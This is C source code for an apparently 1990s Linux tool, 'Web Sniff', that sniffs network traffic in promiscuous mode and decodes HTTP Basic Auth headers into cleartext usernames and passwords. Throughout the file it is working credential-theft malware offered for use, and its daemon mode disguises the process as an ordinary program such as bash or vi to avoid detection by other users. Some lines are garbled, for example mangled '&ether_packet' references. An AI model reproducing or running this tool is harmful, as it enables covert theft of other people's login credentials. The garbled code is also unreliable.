|
/*
*
* Web Sniff v1.0 for Linux
*
* Coded by BeastMaster V
* http://www.rootshell.com
*
* EMAIL: All questions or
* comments should be sent to
* bryan@scott.net
*
* DESCRIPTION: This program
* sniffs packets destined for
* webservers and scans for
* headers with Basic Auth.
* then automatically decodes
* the auth. string giving a
* username/passwd in cleartext.
*
* BUGS: In the verbose mode,
* source/destination headers
* get out of sync with data.
* In daemon mode, source/dest.
* headers may not be reliable.
*
* DISCLAIMER: Please use
* this program in a
* responsible manner.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <string.h>
#include <linux/if.h>
#include <signal.h>
#include <termio.h>
#include <arpa/inet.h>
#include <linux/socket.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/if_ether.h>
#include <errno.h>
extern int errno;
#define DEFAULT_WEB_PORT 80
#define CAPTURE_LENGTH 1024
#define TIMEOUT 30
#define INTERFACE "eth0"
#define ISBLANK(x) (((x) == ' ') || ((x) == '\t'))
#define SPACELEFT(buf, ptr) (sizeof buf - ((ptr) - buf))
#define newstr(s) strcpy(malloc(strlen(s) + 1), s)
struct BASE64_PARAMS {
unsigned long int accum;
int shift;
int save_shift;
};
struct etherpacket {
struct ethhdr ether_header;
struct iphdr ip_header;
struct tcphdr tcp_header;
char buff[8192];
} ether_packet;
struct
{
unsigned long source_addr;
unsigned long dest_addr;
unsigned short source_port;
unsigned short dest_port;
int bytes_read;
char active;
time_t start_time;
char tmp_realm[1024];
char tmp_host[512];
} target;
struct iphdr *ip;
struct tcphdr *tcp;
char **Argv = NULL;
char *LastArgv = NULL;
short daemon_mode;
short verbose_mode;
unsigned short user_port;
FILE *daemon_fd=NULL;
int sock;
/* function declarations */
char *lookup(unsigned long int);
char *dateTime();
/* BeastMaster V's implementation of signal */
void (*
r_signal(sig, func)) (int)
int sig;
void (*func) ();
{
struct sigaction act, oact;
act.sa_handler = func;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
#ifdef SA_RESTART
act.sa_flags |= SA_RESTART;
#endif
if (sigaction(sig, &act, &oact) < 0)
return (SIG_ERR);
return (oact.sa_handler);
}
/* this function detaches a process from a controlling terminal */
void detach()
{
int rc, fd;
/* Fork once to escape shell's job control */
if ((rc = fork()) > 0)
exit(0);
else if (rc <0) {
perror("detach");
exit(EXIT_FAILURE);
}
/* Now detach from the controlling terminal */
if ((fd = open("/dev/tty", O_RDWR,0)) == -1 ) {
printf("couldn't open tty, assuming still okay...\n");
fflush((FILE *)stdout);
return;
}
ioctl(fd, TIOCNOTTY, 0);
close(fd);
/* make us a new process group/session */
setsid();
}
/* this function lets you set the current process title */
setproctitle(const char *fmt, ...)
{
register char *p;
register int i;
char buf[2048];
va_list args;
p = buf;
va_start(args, fmt);
(void) vsnprintf(p, SPACELEFT(buf, p), fmt, args);
va_end(args);
i = strlen(buf);
if (i > LastArgv - Argv[0] - 2)
{
i = LastArgv - Argv[0] - 2;
buf[i] = '\0';
}
(void) strcpy(Argv[0], buf);
p = &Argv[0][i];
while (p < LastArgv)
*p++ = ' ';
Argv[1] = NULL;
}
/* this function does initialization for setproctitle() */
void initsetproctitle(int argc, char **argv, char **envp)
{
register int i;
extern char **environ;
for (i = 0; envp[i] != NULL; i++)
continue;
environ = (char **) malloc(sizeof (char *) * (i + 1));
for (i = 0; envp[i] != NULL; i++)
environ[i] = newstr(envp[i]);
environ[i] = NULL;
Argv = argv;
if (i > 0)
LastArgv = envp[i - 1] + strlen(envp[i - 1]);
else
LastArgv = argv[argc - 1] + strlen(argv[argc - 1]);
}
/* converts base64 ascii to integer code */
int cvt_ascii( unsigned char alpha )
{
if ( (alpha >= 'A') && (alpha <= 'Z') ) return (int)(alpha -
'A');
else if ( (alpha >= 'a') && (alpha <= 'z') )
return 26 + (int)(alpha - 'a');
else if ( (alpha >= '0') && (alpha <= '9' ) )
return 52 + (int)(alpha - '0');
else if ( alpha == '+' ) return 62;
else if ( alpha == '/' ) return 63;
else if ( alpha == '=' ) return -2;
else return -1;
}
/* this does the actual base64 decoding */
void base64_decode(char *buf,int quit,struct BASE64_PARAMS *d,char
*auth_buf)
{
int index;
unsigned long int value;
unsigned char blivit;
unsigned short j=0;
index = 0;
*(auth_buf+0)='\0';
while ( ISBLANK(buf[index] ) )
{
index++; /* skip leading blanks */
}
for ( index = 0;
(buf[index] != '\n') &&
(buf[index] != '\0') &&
(buf[index] != ' ' );
index++)
{
if (index==(264-5)) return;
value = cvt_ascii( buf[index] ); /* find chr in base64 alphabet */
if ( value < 64 ) /* if legal */
{
d->accum <<= 6; /* assemble binary accum */
d->shift += 6;
d->accum |= value;
if ( d->shift >= 8 )
{
d->shift -= 8;
value = d->accum >> d->shift;
blivit = (unsigned char)value & 0xFFl;
*(auth_buf+j) = (char )blivit;
j++;
}
}
else /* else if out of base64 range */
{
quit = 1; /* then finished */
break;
}
}
*(auth_buf+j)='\0';
return;
}
/* this is a nice way to call the base64 decode function */
void decode(char *b64_string, char *user_buff)
{
struct BASE64_PARAMS d_p;
int quit=0;
d_p.shift = 0;
d_p.accum = 0;
base64_decode((char *)b64_string, quit, &d_p, user_buff);
return;
}
/* checks for authorization and parses out username and password */
void parse_segment(char *data)
{
short i,j=0;
char foo[256];
char user[128];
char pass[128];
if ((!strncmp(data,"GET ",4)) || (!strncmp(data,"POST
",5)) || (!strncmp(data,"HEAD ",5)))
strncpy(target.tmp_realm,data,strlen(data));
/* you might want to change this to a more intelligent
test */
if (!strncasecmp(data,"Authorization: Basic",20)) {
if (strlen(data+21)>sizeof(foo))
*(data+21+sizeof(foo-1))='\0';
decode(data+21,foo);
for (i=0;foo[i];i++) {
if (foo[i]==':')
break;
user[i]=foo[i];
}
user[i]='\0';
for (++i; foo[i]; i++) {
pass[j]=foo[i];
j++;
}
pass[j]='\0';
if (daemon_mode) {
fprintf(daemon_fd,"\n####### [%s]\n",dateTime());
fprintf(daemon_fd,"%s",target.tmp_host);
fprintf(daemon_fd,"REALM
REQUESTED: %s\n", target.tmp_realm);
fprintf(daemon_fd,"---[
USER = %s PASS = %s ]---\n",user,pass);
fprintf(daemon_fd,"#######\n\n");
fflush(daemon_fd);
} else {
printf("\n----------[
USER = %s PASS = %s ]----------\n",user,pass);
fflush(stdout);
}
}
return;
}
/* read data from ether_packet.buff and parse check each line */
int scan_data(int datalen, char *data)
{
int i=0, t=0;
char data_buff[CAPTURE_LENGTH];
target.bytes_read=target.bytes_read+datalen;
memset(target.tmp_realm,'\0',sizeof(target.tmp_realm));
sprintf(target.tmp_host, "[%s] [%d] => ",lookup(target.source_addr),
ntohs(target.source_port));
sprintf(data_buff,"[%s] [%d]\n", lookup(target.dest_addr),
ntohs(target.dest_port));
strcat(target.tmp_host,data_buff);
data_buff[0]='\0';
for(i=0;i != datalen;i++)
{
if(data[i] == 13)
{
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n",
data_buff);
fflush(stdout);
}
parse_segment(data_buff);
t=0;
}
if(isprint(data[i]))
{
data_buff[t]=data[i];
t++;
}
if(t > 255)
{
t=0;
data_buff[t]='\0';
if (verbose_mode) {
printf("%s\n",
data_buff);
fflush(stdout);
}
parse_segment(data_buff);
}
}
}
/* handler for segmentation violations */
void seg_fault (int sig)
{
fprintf(stderr, "\n");
fprintf(stderr, "Segmentation Violation!\n");
fprintf(stderr, "\n");
fprintf(stderr, "Congratulations! You have crashed my
program.\n");
fprintf(stderr, "Please mail me: bryan@scott.net\n");
fprintf(stderr, "describing *exactly* what you did to
make this\n");
fprintf(stderr, "program crash. Thanks and have a nice
day :-)\n");
fprintf(stderr, "\n");
exit(EXIT_FAILURE);
}
/* resolves a hostname via gethostbyaddr() */
char *lookup(unsigned long int network_address)
{
static char buf[1024];
struct in_addr my_addr;
struct hostent *he;
my_addr.s_addr=network_address;
he=gethostbyaddr((char *)&my_addr,sizeof(struct
in_addr),AF_INET);
if (he==NULL)
sprintf(buf,inet_ntoa(my_addr));
else
sprintf(buf,he->h_name);
return (buf);
}
/* this function returns the data and time */
char * dateTime()
{
time_t t;
char * s;
time(&t);
s = (char *)ctime((const time_t *)&t);
s[24] = '\0';
return s;
}
/* handler when program is terminated noramlly */
void bye(int sig)
{
if (daemon_mode) {
fprintf(daemon_fd, "\n*** Daemon Mode Ending at [%s]
***\n",dateTime());
fclose(daemon_fd);
}
close(sock);
exit(0);
}
/* filters out all other packets except for ones were intrested in */
int packet_filter ()
{
unsigned short port;
if (ip->protocol !=6) return (0);
if (target.active !=0)
if (target.bytes_read > CAPTURE_LENGTH)
{
bzero(&target,
sizeof(target));
return(0);
}
if (user_port!=0)
port=user_port;
else
port=DEFAULT_WEB_PORT;
if (ntohs(tcp->dest)!=port)
return(0);
else
{
if (tcp->syn==1)
{
target.source_addr=ip->saddr;
target.dest_addr=ip->daddr;
target.active=1;
target.source_port=tcp->source;
target.dest_port=tcp->dest;
target.bytes_read=0;
target.start_time=time(NULL);
if (verbose_mode) {
printf("[%s] [%d] =>
",lookup(target.source_addr),
ntohs(target.source_port));
printf("[%s] [%d]\n",
lookup(target.dest_addr),
ntohs(target.dest_port));
fflush(stdout);
}
}
}
return(1);
}
/* prints the usage for our program */
void print_usage (char *prog_name)
{
printf("\n");
printf("### Web Sniffer v1.0 by BeastMaster V ###\n");
printf(" http://www.rootshell.com\n");
printf("\n");
printf("Usage:\n");
printf("\n");
printf("%s [-d|-v] [-p <port number>]\n", prog_name);
printf("\n");
printf("-d : run as a daemon and print output to
logfile.\n");
printf("-v : run in foreground and print output to
stdout.\n");
printf("-p : optionally specifies port number to sniff
on.\n");
printf("\n");
}
/* start here */
int main ( argc, argv, envp )
unsigned int argc;
char **argv;
char **envp;
{
int i, x, c;
extern int optind;
extern char *optarg;
struct ifreq req;
short argsLeft=0;
short errFlag=0;
char *port_ptr=NULL;
char title[1024];
r_signal(SIGSEGV, seg_fault);
r_signal(SIGTERM, bye);
r_signal(SIGQUIT, bye);
r_signal(SIGHUP, bye);
if (getuid() && geteuid()) {
fprintf(stderr, "\nYou need to be root in order to run
this.\n\n");
exit(EXIT_FAILURE);
}
memset(title,'\0',sizeof(title));
verbose_mode=0;
daemon_mode=0;
user_port=0;
while((c=getopt(argc,argv,"dvp:"))!= EOF)
switch(c) {
case 'd':
if (verbose_mode)
errFlag++;
else
daemon_mode=1;
break;
case 'v':
if (daemon_mode)
errFlag++;
else
verbose_mode=1;
break;
case 'p':
port_ptr=optarg;
user_port=atoi(port_ptr);
break;
case '?':
errFlag++;
}
argsLeft=argc-optind;
if ((!daemon_mode && !verbose_mode)||errFlag||argsLeft)
{
print_usage(argv[0]);
exit(EXIT_FAILURE);
}
if (daemon_mode) {
printf("\n");
printf("*** Daemon Mode ***\n");
printf("Enter in the full path to the
logfile\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
if ((daemon_fd=fopen(title,"a+"))==NULL)
{
fprintf(stderr, "Could
not open logfile: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
printf("Enter in a process title to
masquerade as so\n");
printf("it won't be quite so obvious to
other users what\n");
printf("we are really doing (i.e: bash,
ftp, in.telnetd, vi ...)\n");
fgets(title,sizeof(title),stdin);
for (c=0; title[c]; c++)
if (title[c]=='\n') {
title[c]='\0';
break;
}
printf("Setting process title to: %s\n",
title);
initsetproctitle(argc, argv, envp);
setproctitle("%s", title);
printf("Daemon Mode Started.\n");
detach();
fprintf(daemon_fd, "\n*** Daemon Mode
Started at [%s] ***\n",dateTime());
fflush(daemon_fd);
}
sock=socket(AF_INET, SOCK_PACKET, htons(0x800));
if (sock <0) {
perror("can't get SOCK_PACKET socket");
exit(1);
}
strcpy(req.ifr_name, INTERFACE);
if ((i=ioctl(sock, SIOCGIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot get flags: %s\n",
strerror(errno));
exit(EXIT_FAILURE);
}
req.ifr_flags |= IFF_PROMISC;
if ((i=ioctl(sock, SIOCSIFFLAGS, &req)) ==-1) {
close(sock);
fprintf(stdout, "I cannot set flags: %s\n",
strerror(errno));
exit(EXIT_FAILURE);
}
ip=(struct iphdr *)(((unsigned
long)ðer_packet.ip_header)-2);
tcp=(struct tcphdr *)(((unsigned
long)ðer_packet.tcp_header)-2);
bzero(&target, sizeof(target));
for (;;) {
while(1) {
x=read(sock,ðer_packet,sizeof(ether_packet));
if (x > 1)
{
if (packet_filter()==0) continue;
x=x-54;
if (x<1) continue;
break;
}
}
scan_data( htons( ip->tot_len)-sizeof(
ether_packet.ip_header)-
sizeof( ether_packet.tcp_header), ether_packet.buff-2);
}
}
|